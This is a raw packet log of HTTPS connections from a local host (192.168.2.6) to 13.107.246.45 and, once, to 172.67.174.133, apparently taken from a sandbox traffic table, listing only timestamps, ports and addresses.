Nov 14, 2024 17:24:16.549379110 CET	443	49714	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.549432993 CET	49714	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.550263882 CET	49715	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.550271034 CET	443	49715	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.550282955 CET	49715	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.550304890 CET	443	49715	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.555757046 CET	49714	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.555779934 CET	443	49714	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.555816889 CET	49714	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.555823088 CET	443	49714	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.563345909 CET	49716	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.563396931 CET	443	49716	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.563457966 CET	49716	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.564413071 CET	49717	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.564517021 CET	443	49717	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.564660072 CET	49717	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.569328070 CET	49718	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.569343090 CET	443	49718	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.569406986 CET	49718	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.570475101 CET	49719	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.570497990 CET	443	49719	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.570624113 CET	49719	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.570764065 CET	49716	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.570785046 CET	443	49716	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.570899963 CET	49719	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.570938110 CET	443	49719	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.570990086 CET	49717	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.571016073 CET	443	49717	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.571142912 CET	443	49711	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.571204901 CET	443	49711	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.571295977 CET	49711	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.571310997 CET	443	49711	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.571324110 CET	49718	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.571333885 CET	443	49718	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.571352005 CET	49711	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.571357965 CET	443	49711	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.571402073 CET	49711	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.571911097 CET	49711	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.571923018 CET	443	49711	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.571935892 CET	49711	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.571942091 CET	443	49711	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.574147940 CET	49720	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.574203014 CET	443	49720	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:16.574393988 CET	49720	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.574570894 CET	49720	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:16.574589968 CET	443	49720	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.309196949 CET	443	49716	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.311177969 CET	443	49717	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.313688993 CET	49716	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.313734055 CET	443	49716	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.314692020 CET	49716	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.314699888 CET	443	49716	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.315329075 CET	49717	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.315392017 CET	443	49717	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.316365957 CET	49717	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.316384077 CET	443	49717	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.378736973 CET	443	49720	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.379355907 CET	49720	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.379373074 CET	443	49720	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.379801989 CET	49720	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.379807949 CET	443	49720	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.380575895 CET	443	49718	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.380970955 CET	49718	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.380983114 CET	443	49718	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.381356001 CET	49718	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.381361008 CET	443	49718	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.416064978 CET	443	49719	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.416527033 CET	49719	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.416554928 CET	443	49719	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.417320013 CET	49719	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.417335987 CET	443	49719	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.443286896 CET	443	49716	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.443442106 CET	443	49716	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.443501949 CET	49716	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.443685055 CET	49716	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.443702936 CET	443	49716	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.443722010 CET	49716	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.443728924 CET	443	49716	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.447091103 CET	49721	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.447181940 CET	443	49721	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.447300911 CET	49721	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.447544098 CET	49721	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.447581053 CET	443	49721	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.447943926 CET	443	49717	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.448010921 CET	443	49717	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.448059082 CET	49717	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.448158026 CET	49717	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.448179960 CET	443	49717	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.448199987 CET	49717	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.448208094 CET	443	49717	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.450742006 CET	49722	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.450818062 CET	443	49722	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.450884104 CET	49722	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.451015949 CET	49722	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.451037884 CET	443	49722	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.517153978 CET	443	49720	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.517218113 CET	443	49720	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.517275095 CET	49720	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.517556906 CET	49720	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.517589092 CET	443	49720	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.517604113 CET	49720	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.517611980 CET	443	49720	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.521878958 CET	49723	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.521908045 CET	443	49723	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.521975994 CET	49723	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.522196054 CET	49723	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.522208929 CET	443	49723	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.525927067 CET	443	49718	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.526074886 CET	443	49718	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.526138067 CET	49718	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.526210070 CET	49718	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.526223898 CET	443	49718	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.526235104 CET	49718	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.526241064 CET	443	49718	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.529536963 CET	49724	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.529577017 CET	443	49724	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.529778004 CET	49724	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.529778004 CET	49724	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.529814959 CET	443	49724	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.550767899 CET	443	49719	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.550813913 CET	443	49719	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.550865889 CET	49719	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.551235914 CET	49719	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.551235914 CET	49719	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.551268101 CET	443	49719	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.551292896 CET	443	49719	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.554341078 CET	49725	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.554369926 CET	443	49725	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:17.554430008 CET	49725	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.554564953 CET	49725	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:17.554579973 CET	443	49725	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.198581934 CET	443	49721	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.198717117 CET	443	49722	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.199264050 CET	49721	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.199290037 CET	443	49721	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.199806929 CET	49721	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.199812889 CET	443	49721	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.200162888 CET	49722	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.200181961 CET	443	49722	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.203336954 CET	49722	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.203346014 CET	443	49722	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.257359028 CET	443	49723	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.257982016 CET	49723	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.257996082 CET	443	49723	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.258487940 CET	49723	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.258492947 CET	443	49723	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.274446964 CET	443	49724	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.274981022 CET	49724	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.274995089 CET	443	49724	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.275365114 CET	49724	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.275371075 CET	443	49724	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.325715065 CET	443	49725	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.326308966 CET	49725	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.326324940 CET	443	49725	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.326852083 CET	49725	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.326857090 CET	443	49725	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.329785109 CET	443	49721	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.329933882 CET	443	49721	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.330023050 CET	49721	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.330100060 CET	49721	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.330108881 CET	443	49721	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.330121040 CET	49721	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.330126047 CET	443	49721	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.333623886 CET	49726	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.333673954 CET	443	49726	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.333748102 CET	49726	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.333864927 CET	49726	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.333874941 CET	443	49726	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.365132093 CET	443	49722	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.365192890 CET	443	49722	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.365287066 CET	49722	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.365475893 CET	49722	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.365514994 CET	443	49722	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.365552902 CET	49722	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.365561962 CET	443	49722	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.368252993 CET	49727	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.368284941 CET	443	49727	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.368349075 CET	49727	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.368499994 CET	49727	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.368508101 CET	443	49727	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.388066053 CET	443	49723	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.388583899 CET	443	49723	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.388654947 CET	49723	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.388691902 CET	49723	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.388700962 CET	443	49723	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.388710976 CET	49723	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.388715982 CET	443	49723	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.391520023 CET	49728	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.391536951 CET	443	49728	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.391614914 CET	49728	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.391777039 CET	49728	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.391791105 CET	443	49728	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.415812016 CET	443	49724	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.415949106 CET	443	49724	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.416028023 CET	49724	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.416145086 CET	49724	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.416157007 CET	443	49724	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.416171074 CET	49724	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.416177988 CET	443	49724	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.419059992 CET	49729	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.419078112 CET	443	49729	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.419153929 CET	49729	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.419281960 CET	49729	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.419296026 CET	443	49729	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.493732929 CET	443	49725	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.493803978 CET	443	49725	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.493864059 CET	49725	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.494106054 CET	49725	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.494116068 CET	443	49725	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.494126081 CET	49725	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.494131088 CET	443	49725	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.497284889 CET	49730	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.497298002 CET	443	49730	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:18.497361898 CET	49730	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.497549057 CET	49730	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:18.497560978 CET	443	49730	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.108707905 CET	443	49726	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.114862919 CET	443	49727	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.133526087 CET	49726	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.133549929 CET	443	49726	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.138017893 CET	49727	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.138040066 CET	443	49727	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.138184071 CET	49726	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.138190031 CET	443	49726	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.141907930 CET	49727	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.141915083 CET	443	49727	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.200705051 CET	443	49728	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.202053070 CET	443	49729	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.217463017 CET	49728	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.217506886 CET	443	49728	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.217730999 CET	49728	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.217740059 CET	443	49728	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.218990088 CET	49729	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.219021082 CET	443	49729	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.222135067 CET	49729	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.222143888 CET	443	49729	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.236387968 CET	443	49730	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.269994020 CET	443	49727	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.270308971 CET	443	49727	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.270482063 CET	49727	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.274923086 CET	443	49726	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.275087118 CET	443	49726	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.275192976 CET	49726	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.276129961 CET	49730	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.276140928 CET	443	49730	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.276632071 CET	49730	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.276638031 CET	443	49730	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.347666025 CET	49727	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.347691059 CET	443	49727	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.347704887 CET	49727	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.347712994 CET	443	49727	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.348779917 CET	49726	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.348809004 CET	443	49726	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.349189997 CET	49726	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.349198103 CET	443	49726	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.352060080 CET	49731	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.352092028 CET	443	49731	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.352473021 CET	49731	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.352672100 CET	49731	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.352679968 CET	443	49731	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.367584944 CET	443	49728	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.367670059 CET	443	49728	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.367728949 CET	49728	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.368271112 CET	443	49729	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.368432999 CET	443	49729	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.368505001 CET	49729	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.381931067 CET	49728	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.381939888 CET	443	49728	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.381967068 CET	49728	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.381973028 CET	443	49728	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.391197920 CET	49732	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.391221046 CET	443	49732	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.391307116 CET	49732	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.391453028 CET	49732	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.391464949 CET	443	49732	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.402497053 CET	443	49730	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.402640104 CET	443	49730	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.402700901 CET	49730	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.451397896 CET	49730	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.451397896 CET	49730	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.451422930 CET	443	49730	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.451440096 CET	443	49730	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.719480991 CET	49729	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.719480991 CET	49729	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.719501019 CET	443	49729	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.719511032 CET	443	49729	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.757525921 CET	49733	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.757584095 CET	443	49733	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.757682085 CET	49733	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.759171009 CET	49733	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.759186983 CET	443	49733	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.760582924 CET	49734	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.760627031 CET	443	49734	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.760684013 CET	49734	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.760950089 CET	49734	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.760962009 CET	443	49734	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.769423008 CET	49735	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.769473076 CET	443	49735	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:19.769567013 CET	49735	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.769720078 CET	49735	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:19.769737005 CET	443	49735	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.040092945 CET	49736	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:20.040112972 CET	443	49736	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:20.040208101 CET	49736	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:20.043107033 CET	49736	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:20.043119907 CET	443	49736	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:20.106290102 CET	443	49731	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.107337952 CET	49731	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.107358932 CET	443	49731	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.107600927 CET	49731	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.107604980 CET	443	49731	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.135972977 CET	443	49732	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.136445999 CET	49732	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.136475086 CET	443	49732	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.136917114 CET	49732	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.136924028 CET	443	49732	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.237435102 CET	443	49731	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.237804890 CET	443	49731	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.237936974 CET	49731	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.237937927 CET	49731	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.240979910 CET	49737	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.241034985 CET	443	49737	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.241085052 CET	49731	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.241099119 CET	443	49731	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.241122961 CET	49737	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.241328001 CET	49737	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.241334915 CET	443	49737	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.267281055 CET	443	49732	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.267498970 CET	443	49732	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.267579079 CET	49732	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.267615080 CET	49732	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.267616034 CET	49732	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.267635107 CET	443	49732	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.267647982 CET	443	49732	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.270001888 CET	49738	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.270050049 CET	443	49738	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.270133018 CET	49738	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.270275116 CET	49738	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:20.270293951 CET	443	49738	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:20.496061087 CET	443	49733	13.107.246.45	192.168.2.6
